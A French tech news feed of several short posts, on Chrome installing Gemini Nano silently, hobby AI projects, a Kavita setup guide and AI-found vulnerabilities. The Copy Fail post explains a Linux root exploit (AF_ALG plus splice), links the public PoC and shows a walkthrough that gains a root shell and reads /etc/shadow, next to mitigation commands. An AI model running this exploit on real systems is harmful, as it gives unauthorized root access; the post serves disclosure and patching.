Alexander Hanff, consultant, a remonté un truc pas net sur Chrome. La dernière version du navigateur télécharge en arrière-plan un modèle de langage local appelé Gemini Nano, qui pèse environ 4 Go, sans jamais demander la moindre permission à l'utilisateur.

Le fichier s'appelle weights.bin, il atterrit dans un dossier OptGuideOnDeviceModel quelque part dans votre profil Chrome, et il sert ensuite à des fonctions du genre "Help me write" ou détection de fraude.

Hanff a documenté l'opération via les logs système de son macOS. Le 24 avril 2026 vers 16h38, Chrome crée le dossier. Quelques minutes plus tard, il télécharge et décompresse les 4 Go (l'opération prend une quinzaine de minutes), puis il les déplace à l'emplacement final. Tout ça pendant que vous ne touchez rien à votre machine. Si vous supprimez le fichier à la main, il sera réinstallé silencieusement au prochain lancement du navigateur.

Hanff estime entre 100 millions et 1 milliard de machines concernées dans le monde. Multipliez 4 Go par 1 milliard et vous obtenez de quoi remplir une bonne partie d'un datacenter.

L'auteur calcule également l'impact carbone du déploiement, entre 6 000 et 60 000 tonnes de CO2e rien que pour le réseau, sans compter l'empreinte SSD. Pour un fichier que personne ne vous a demandé d'installer.

Sur le plan légal, Hanff parle d'une "violation directe" de l'article 5(3) de la directive ePrivacy européenne, qui interdit de stocker quoi que ce soit sur l'appareil d'un utilisateur sans consentement explicite. Il évoque aussi un manquement RGPD. Si la qualification tient, ça serait une amende salée pour Google, sachant que les Cnil européennes ont déjà sanctionné Meta et Microsoft pour des choses bien moins foireuses.

Pour s'en débarrasser, trois options : aller dans chrome://flags pour désactiver les fonctions IA, passer par les politiques d'entreprise si vous gérez un parc de machines, ou virer Chrome, tout simplement.

Bref, Google qui pousse 4 Go d'IA en silence sur des centaines de millions de machines, c'est un sale moche.

Source : That Privacy Guy

Un C-3PO grandeur nature transformé en assistant vocal qui répond pour de vrai

3 mai 2026 à 08:20

Un maker a transformé une réplique grandeur nature de C-3PO en assistant vocal interactif, et le résultat est franchement convaincant. Sa version du droïde papote, répond à vos questions, et tient même une conversation, le tout sans dépendre du moindre cloud une fois en local.

Le truc tient sur un Raspberry Pi 5 planqué dans la coque dorée du droïde. Un micro capte ce que vous racontez, un moteur de speech-to-text le transcrit, et un LLM local s'occupe de comprendre votre question pour formuler une réponse. Jusque là, rien de fou c'est même devenu même assez classique.

Le truc rigolo, c'est la couche par dessus. L'auteur a ajouté un prompt système qui force le LLM à répondre comme C-3PO le ferait : un peu anxieux, très formel, avec ce ton un brin pompeux qu'on connaît tous. Du coup, quand vous lui demandez bêtement la météo, vous pouvez vous prendre une réponse genre "Oh dear, je crains que les conditions atmosphériques ne soient guère favorables à un déplacement humain". Très C-3PO.

Pour la voix, le projet utilise un modèle synthétique entraîné sur les dialogues d'Anthony Daniels, l'acteur original. Le son passe ensuite par une chaîne d'effets audio qui ajoute la résonance métallique et le léger souffle qu'on entend dans les films. Le résultat n'est pas parfait, mais ça reste franchement bluffant pour un projet bricolé à la maison.

Tout le code est dispo en open source, ce qui veut dire que vous pouvez théoriquement le reproduire chez vous, à condition d'avoir une réplique C-3PO sous la main. Ce qui n'est pas le plus simple. Pour les budgets plus modestes, l'auteur précise que le pipeline tourne aussi très bien dans une simple enceinte connectée custom, le côté droïde doré n'étant pas indispensable au fonctionnement.

Le seul vrai bémol, c'est la latence. Entre le moment où vous parlez et la réponse vocale, comptez quelques secondes, ce qui casse un peu l'illusion d'avoir affaire à un assistant réactif. Mais bon, le vrai C-3PO du film mettait aussi trois plombes à comprendre les ordres, donc on peut presque considérer ça comme un détail de fidélité au personnage.

Source : Hackaday

Japan Airlines teste des robots humanoïdes pour charger les bagages

1 mai 2026 à 11:33

Japan Airlines va confier la manutention des bagages à des robots humanoïdes sur les pistes de l'aéroport Haneda. Le test démarre en mai 2026, dure deux ans, et implique pour commencer deux machines posées au milieu des bagagistes humains.

L'opération est pilotée par JAL Ground Service avec GMO AI & Robotics. Les robots viennent de Chine : un Unitree G1 d'environ 1m30 et un Walker E d'UBTECH.

Le programme est découpé en plusieurs étapes (cartographie du site, simulations en environnement reconstitué, puis tarmac réel), avec à terme l'idée de leur faire transporter les containers de fret, manipuler les leviers de verrouillage et même nettoyer les cabines une fois les avions vides. L'autonomie annoncée est de 2 à 3 heures, avant qu'il ne faille recharger la machine.

Sauf que la première démo publique a calmé tout le monde. Le G1 a tapoté un colis sur le tapis roulant et fait coucou à un humain, mais personne ne l'a vu soulever quoi que ce soit.

La presse anglo-saxonne a gentiment moqué la chose : démarche hésitante, gestes cosmétiques, et surtout aucune preuve de capacité à porter une valise standard.

Le Japon n'a pas le choix. Population vieillissante, faible immigration, et tourisme record qui sature les infrastructures : les aéroports japonais galèrent à recruter des bagagistes, et la situation ne va pas s'arranger dans les prochaines années.

Du coup, plutôt que d'investir dans des bras articulés industriels qui demandent de repenser tout le poste de travail, JAL parie sur des humanoïdes capables de s'intégrer dans un poste conçu pour des humains. 

En pratique, on est encore loin du compte. Une valise standard pèse entre 20 et 30 kg. Un humanoïde d'environ 35 kg sur deux jambes qui tient à peine debout, ce n'est pas vraiment l'outil idéal pour balancer du Samsonite à la chaîne pendant huit heures. JAL le sait.

D'où les deux ans de test prévus avant tout déploiement réel, et l'envie d'observer ce qui marche, ce qui casse, et ce qui finira aux oubliettes. Les deux fournisseurs choisis ne sont d'ailleurs pas des inconnus : Unitree et UBTECH se positionnent comme les gros chinois de l'humanoïde, face à un Tesla Optimus encore largement scénarisé.

Vous l'avez compris  on est plus dans la com' que sur de l'efficacité pure. Faire coucou à un bagage, ça ne le met toujours pas en soute.

Source : ARS Technica

GameDate - Trouver des joueurs pour vos jeux morts et oubliés

Par : Korben ✨
30 avril 2026 à 12:06

Hier soir, je suis tombé sur GameDate et ça m'a carrément fait remonter 20 ans en arrière, à cette époque bénie l'époque où on passait toutes nos nuits sur des jeux comme Wolfenstein: Enemy Territory ou Tribes 2 sans que personne ne nous juge bizarrement. Ce site pour le moins original permet d'organiser des sessions multijoueurs pour tous les jeux que tout le monde a oubliés.

D'abord vous arrivez sur le site, ensuite vous voyez les sessions programmées par d'autres joueurs, vous cliquez sur "interested" pour celles qui vous tentent, et le jour J vous lancez le jeu pour rejoindre les autres. Chaque session affiche 2 compteurs, le nombre d'intéressés et un "expected" pondéré, histoire d'avoir une vraie idée de la fréquentation au lieu d'arriver dans un serveur fantôme.

Et si rien ne vous convient, vous pouvez créer votre propre session en quelques clics sans avoir besoin de vous créer un compte. C'est très appréciable et en parcourant le catalogue, je suis tombé sur des pépites que je croyais définitivement enterrées.

Je pense à Halo 2, Phantasy Star Online, Tribes: Ascend, Rainbow Six: Raven Shield, Total Annihilation, Worms Armageddon, GoldenEye: Source, NEOTOKYO ou Sven Co-op...etc.

La liste tourne autour de 90 jeux et continue de grandir (qui a dit CMB ?). Y'a même du Mario Kart Wii et du Mario Party en netplay pour les nostalgiques de Nintendo, du F.E.A.R. Combat pour les fans de tir tactique et toute une section pour les mods Source comme Hidden: Source ou Eternal Silence.

Après, certaines sessions du catalogue affichent "no interest" parce que personne n'a cliqué dessus, donc n'oubliez pas de vérifier les compteurs avant de poser un RTT, sinon vous risquez de débarquer dans un serveur fantôme.

Côté vie privée, le site assure puisque votre IP est transformée en hash irréversible pour empêcher les abus de vote sans permettre de remonter à vous, et la protection anti-bot passe par Cloudflare Turnstile (donc pas de captcha pénible à résoudre). Aucun cookie de tracking mais juste un localStorage pour vos préférences. Et vous pouvez en option lier un compte Discord ou Steam pour recevoir des rappels avant vos sessions.

Un site qui vous fout la paix en somme...

Même l'interface tape carrément dans la nostalgie avec un look qui nous ramène pile aux menus Steam de l'époque Half-Life 2, grâce à vgui.css , un projet open source qui réplique l'esthétique des jeux Source.

Y'a six thèmes au choix dont un "Legacy" qui pue les années 2000 à plein nez (perso je suis resté dessus, forcément). Vous pouvez alors filtrer par région (NA, EU, OCE, SAM), par tags (PvP, co-op, casual, ranked, modded, newbie-friendly...) et trier par sessions qui démarrent bientôt ou par popularité.

Je trouve que GameDate est vraiment une bonne idée parce que ça participe à 100% à ce mouvement de préservation du jeu vidéo, totalement dans la lignée de projets comme EmuOS ou des trackers communautaires qui maintiennent les serveurs en vie depuis 15 ans. Je me dis que tant que des passionnés trouvent le moyen de se retrouver pour relancer un vieux serveur Tribes 2 ou autre, ces jeux ne sont jamais vraiment morts. Ils ont juste besoin qu'on les ressorte du placard de temps en temps...

À tester donc sur gamedate.org !

Kavita, la bibliothèque auto-hébergée pour vos ebooks, comics et manga

Par : Korben ✨
30 avril 2026 à 11:56

Depuis qu'Amazon a coupé le téléchargement USB de nos ebooks Kindle (sniiiif), héberger sa propre bibliothèque est passé du statut de bricolage du dimanche aprem au geste héroïque de préservation de notre souveraineté !

Alors si vous voulez vous lancer, sachez que Kavita , le serveur de lecture auto-hébergé développé depuis 2020, est l'un des candidats les plus solides du moment. C'est un lecteur web qui gère EPUB, PDF, comics CBZ/CBR et manga avec mode de lecture droite-à-gauche pour les aficionados et grâce lui, nos ebooks peuvent reprendre leur indépendance.

Ce truc, ça se déploie en Docker ou via Scoop pour Windows en 4 lignes de PowerShell.

De mon côté, j'ai installé Kavita sur mon NAS Synology alors voici la marche à suivre si vous voulez faire pareil.

Installation sur NAS Synology (Container Manager)

Testé sur DSM 7.2 avec Container Manager. Pour QNAP via Container Station ou TrueNAS, la logique est la même puisque c'est du Docker standard.

Étape 1 - Préparer les dossiers

Sur votre NAS, créez deux dossiers via Panneau de configuration > Dossier partagé :

  • docker/kavita/config pour la config et la base SQLite de Kavita
  • data/library/books pour votre bibliothèque (pointez où vous stockez déjà vos EPUB et CBZ)

Étape 2 - Le docker-compose.yml

Ouvrez ensuite Container Manager > Projet > Créer, donnez-lui le nom kavita, et collez ce docker-compose :

services:
 kavita:
 image: jvmilazz0/kavita:latest
 container_name: kavita
 restart: unless-stopped
 ports:
 - "5000:5000"
 environment:
 - TZ=Europe/Paris
 volumes:
 - /volume1/docker/kavita/config:/kavita/config
 - /volume1/data/library/books:/manga

L'image jvmilazz0/kavita:latest est celle référencée dans la doc officielle. Côté container, les chemins sont /kavita/config et /manga (peu importe que ce soit du manga ou des romans, c'est juste le nom historique du point de montage).

Étape 3 - Lancer le conteneur

Validez le projet. L'image se télécharge (environ 200 Mo), puis le conteneur démarre. Si le port 5000 est déjà pris sur votre NAS, changez le mapping en 5001:5000 par exemple.

Étape 4 - Premier lancement

Dans votre navigateur, allez sur http://IP-DU-NAS:5000. L'écran d'accueil vous demande alors de vous créer un compte admin.

Validez, puis allez dans les préférences pour passer l'interface en français et rafraichissez la page.

Ensuite, dans les paramètres du serveur > Bibliothèques, ajoutez une bibliothèque : Type "Livre" pour les EPUB/PDF ou "Manga"/"Comic" selon le contenu, le choix du dossier pointant vers /manga. Le scan démarre automatiquement.

Étape 5 - Organisation des dossiers

Attention, Kavita est sensible à la structure des dossiers donc pour qu'il identifie correctement les séries, organisez vos dossiers comme ça :

/manga
├── Asterix/
│ ├── Asterix - Tome 01.cbz
│ └── Asterix - Tome 02.cbz
├── Stephen King/
│ ├── Ça.epub
│ └── Shining.epub

Un sous-dossier par série ou par auteur, pas tout en vrac dans un dossier unique.

Étape 6 - Accès distant (optionnel)

Maintenant, pour accéder à Kavita depuis l'extérieur, le plus propre c'est un reverse proxy avec HTTPS. Sur Synology, soit via DSM > Portail web > Proxy inversé, soit via Nginx Proxy Manager . Pointez votre sous-domaine sur IP-NAS:5000 et activez Let's Encrypt.

Ou alors, moi ce que j'aime bien faire aussi, c'est rien du tout et passer par Tailscale !

Côté fonctionnalités

Côté ergonomie, franchement ils n'ont pas chômé puisqu'on y retrouve le lecteur intégré avec modes single page, double page, webtoon ou même mode immersif plein écran. Des thèmes light, dark, sepia, + un mode personnalisé en CSS si vous voulez.

Y'a aussi de la synchro de progression de lecture entre tous vos appareils, du coup vous pouvez commencer un chapitre sur le laptop pendant votre pause café et le finir sur le téléphone dans le métro. C'est appréciable au quotidien.

Y'a aussi de la gestion multi-utilisateur avec authentification OIDC pour ceux qui aiment faire les choses bien (et ratings + listes individuels par compte, donc votre meilleur pote peut lire ses romans de Tom Clancy à côté de votre collection de docs techniques sans qu'on les mélange).

Il y a également une surveillance automatique des dossiers pour tout ce qui est import auto et de la recherche full-text avec filtres par métadonnées (titre, auteur, série, genre, langue).

Et si vous avez des enfants, il est possible de mettre en place des restrictions par classification d'âge pour éviter qu'ils ne fouillent dans vos comics de Manara. Et le clou du spectacle spécial barbu, c'est l'export d'annotations vers Obsidian via le plugin officiel pour les nerds du second cerveau.

Kavita propose même une fonction "Send to Kindle" pour balancer un EPUB vers votre liseuse Amazon. Sur Windows, vous pouvez aussi le transformer en service système avec Shawl pour qu'il démarre tout seul au boot, et côté Linux, un docker-compose suffira largement.

Voilà, dans cette jungle bordélique des outils ebooks auto-hébergeables, Kavita se positionne comme une option moderne et stable. Je préfère Kavita à Calibre car l'interface web est carrément plus moderne et hyper fluide à l'usage.

Vous l'aurez compris, côté concurrence, Kavita est historiquement plus orientée mixte ebooks-comics que Komga (qui supporte aussi les EPUB et PDF mais reste très ancré culture comics). Alors si vous hésitez entre les outils du moment, mon tour d'horizon des outils ebooks self-hosted devrait vous éclairer (avec notamment le drame Booklore !!).

Ah et y'a aussi Kavita+, la version premium à 4 $ par mois (2 $ le premier mois avec le code FIRSTTIME) qui ajoutera la sync AniList, des recommandations personnalisées, des collections intelligentes et l'enrichissement de métadonnées automatique. Après, perso, pour un usage classique, je trouve que la version gratuite fait déjà largement le job, mais si vous gérez +50 000 fichiers et que vous voulez pas passer la soirée à taguer des séries entières, là ça peut carrément valoir le coup.

Source

Copy Fail - Une IA trouve la faille Linux que personne n'a vue

Par : Korben ✨
30 avril 2026 à 09:27

732 octets, c'est tout ce qu'il faut pour passer de simple utilisateur à root sur n'importe quel Linux non patché compilé depuis 2017, soit la quasi-totalité des kernels. Cette faille béante s'appelle Copy Fail (CVE-2026-31431), elle a été dénichée par Taeyang Lee de chez Theori avec leur outil d'audit IA Xint Code. Et comme elle vient d'être divulguée hier sur la liste oss-security et qu'en plus, ils ont fait un joli petit site qui explique tout comme ça fonctionne, je vais essayer de tout vous expliquer !

La faille elle-même est moche mais surtout, c'est un agent IA qui l'a sorti en une heure environ. C'est un bug que la communauté kernel a laissé passer durant près de 9 ans et qui se trouve dans le sous-système crypto.

En gros, le noyau Linux expose une interface réseau spéciale pour accéder aux opérations de chiffrement depuis un programme normal, sans droits particuliers.

Et depuis 2017, une optimisation dans ce mécanisme a créé une situation bizarre : un fichier en lecture seule sur le disque, disons un binaire système, peut se retrouver dans la zone de sortie d'une opération de chiffrement .C'est la zone que votre programme a le droit de modifier.

Il suffit alors d'enchaîner un appel système particulier (splice) pour écrire 4 octets au bon endroit, on répète ça en boucle, et on modifie progressivement un binaire système de votre choix comme par exemple /usr/bin/su.

Et voilà, vous êtes root !

Maintenant, si vous administrez un serveur, le plus propre reste de patcher le kernel via votre distro. En attendant le patch, la mitigation dépend de comment votre distro a compilé le module algif_aead, et là il y a deux situations bien distinctes.

Cas 1 - Distros où le module est chargeable dynamiquement (Ubuntu, Debian, Arch, etc.). Vous le bloquez avec :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Cas 2 - Distros entreprise où le module est compilé en dur dans le kernel (RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE Enterprise...). Là, attention au piège : lsmod | grep algif_aead ne renvoie rien, mais ça ne signifie PAS que c'est désactivé. Le code est embarqué directement dans le vmlinuz, donc rmmod et la blacklist via /etc/modprobe.d/ sont sans effet (vous aurez "Module algif_aead is builtin"). La vraie mitigation passe par la kernel command line au boot :

sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot

Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via seccomp au niveau de chaque service exposé.

Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.

Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.

Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est GrapheneOS , qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du port C indépendant , un exécutable statique de 1,7 Ko sans dépendance externe.

Les comparaisons avec Dirty COW et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.

Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !

Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.

Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !

Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !

L'exploit est dispo ici sur le GitHub de Theori et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.

Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que BlueHammer côté Windows , sauf qu'ici la marche jusqu'à root est encore plus petite.

Comment tester le PoC sur une machine de test ?

Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.

Étape 1 - Cloner le PoC et vérifier le hash

manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.

manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py

manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root

Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.

Étape 2 - Lancer l'exploit

manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py

# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.

Mot de passe :

Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.

Étape 3 - Shell root obtenu

root@ubuntu:~# id
uid=0(root) gid=1000(manu) groups=1000(manu)

root@ubuntu:~# whoami
root

root@ubuntu:~# uname -r
5.15.0-143-generic

# Kernel 5.15 vulnérable confirmé - Ubuntu 22.04 non patché

Notez le uid=0(root) alors qu'on est parti d'un uid=1000 sans aucun mot de passe, aucune race condition, aucun timing à ajuster. Brutal.

Étape 4 - Accès aux fichiers root-only

root@ubuntu:~# cat /etc/shadow | head -3
root:*:20271:0:99999:7:::
daemon:*:20271:0:99999:7:::
bin:*:20271:0:99999:7:::

root@ubuntu:~# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash

/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.

Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.

Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !

Source

Starcraft2.ai - Le coach IA SC2

Par : Korben ✨
30 avril 2026 à 09:00

Starcraft2.ai débarque en force pour les joueurs de StarCraft 2 et de Brood War qui voudraient disséquer leurs replays sans bouger de leur navigateur. Le créateur de ce site, qui se présente sous le pseudo de Tomkit, a sorti un analyseur gratuit qui combine un moteur de rendu isométrique et un coach IA.

Vous balancez un fichier .SC2Replay (ou .rep pour Brood War), et chose incroyableuuuh, le site reconstruit votre partie complète en vue isométrique avec mouvement des unités, brouillard de guerre activable / désactivable et heatmaps. Comme ça plus besoin de relancer le client pour mater une partie.

Et le truc qui tue, c'est que vous pouvez aussi partager n'importe quel replay via une simple URL.

L'outil derrière ce projet, c'est sc2reader (la bibliothèque Python de référence pour Starcraft) qui parse intégralement les binaires des replays : Position détaillée des unités, séquence des ordres de construction, économie, kills, tout est extrait du fichier directement.

Le truc cool, c'est évidemment le coach IA. L'outil envoie le contexte de la partie (courbe d'éco, build order, échanges d'unités, résultat des batailles) à Claude, qui sort alors un debrief avec des conseils actionnables. Par exemple, le LLM identifie le type de stratégie déployée (timing attack, macro, all-in, cheese) et balance des recommandations basées sur les standards pro. C'est quand même bien plus utile que tous ces guides génériques qu'on retrouve en ligne.

Puis ce qui est cool avec ce logiciel, c'est aussi le support de Brood War et à où j'écris ces lignes, c'est l'un des seuls analyseurs encore maintenus pour le vieux premier StarCraft . Donc pour ceux qui parmi vous ont encore des replays archivés depuis l'ère du modem 56k, c'est carrément une bonne nouvelle !

Bref, si vous jouez encore à SC2 ou si vous voulez juste mater de beaux replays sans lancer le jeu, c'est par ici .

Un agent IA chinois a trouvé près de 1 000 failles inédites, dont certaines dans Microsoft Office

23 avril 2026 à 11:27

360 Digital Security, la filiale cybersécurité du géant chinois Qihoo 360, revendique environ mille vulnérabilités inédites déterrées par un agent IA maison baptisé Vulnerability Discovery Agent. 

L'annonce, faite le 22 avril, cite nommément Microsoft Office et le framework open source OpenClaw parmi les logiciels touchés. Le chiffre est donné sur un seul cycle de campagne.

Mille failles non documentées en un seul cycle de recherche, ça fait un peu tourner la tête. Ce type d'agent fonctionne en boucle pour scanner massivement les bases de code, trier ce qui est potentiellement exploitable, et valider les candidats avant publication interne.

Plus tôt dans l'année, 360 avait déjà présenté un autre outil dédié à la construction automatisée de chaînes d'exploitation. L'un déterre les failles, l'autre fabrique le code qui les utilise.

Mis bout à bout, ça donne une ligne de production offensive entièrement pilotée par IA, que l'équipe 360 décrit comme une réponse directe au projet Mythos d'Anthropic, qui fait le même pari côté occidental mais en mode défense.

Le vrai souci, c'est le devenir de ces 1 000 failles. Si toutes ont été remontées aux éditeurs concernés, tant mieux. 360 affirme d'ailleurs avoir utilisé les canaux de divulgation responsables, mais sans publier de calendrier de patch.

Sauf que l'entreprise est connue pour ses liens étroits avec le ministère chinois de la Sécurité d'État, et plusieurs de ses chercheurs ont déjà été soupçonnés par le passé de garder pour l'État ce qu'ils trouvaient. Du coup, l'annonce met les équipes de sécurité occidentales quelque peu en alerte.

Microsoft, qui patche Office tous les mois pour des failles trouvées à la main, va probablement devoir accélérer le rythme si ce genre de scan industriel se généralise. En pratique, la chasse aux vulnérabilités est en train de changer d'échelle.

On passe de quelques failles trouvées par un chercheur humain sur plusieurs semaines à un agent qui en déniche des centaines en quelques jours. Et la logique économique derrière est folle : un seul opérateur bien outillé peut désormais couvrir ce qu'il fallait avant à une équipe complète.

Bref, le mur est tombé côté IA offensive. Et les éditeurs qui patchent à la main ont un vrai problème de cadence face à un scan automatisé à cette échelle.

Source : Bloomberg

❌
❌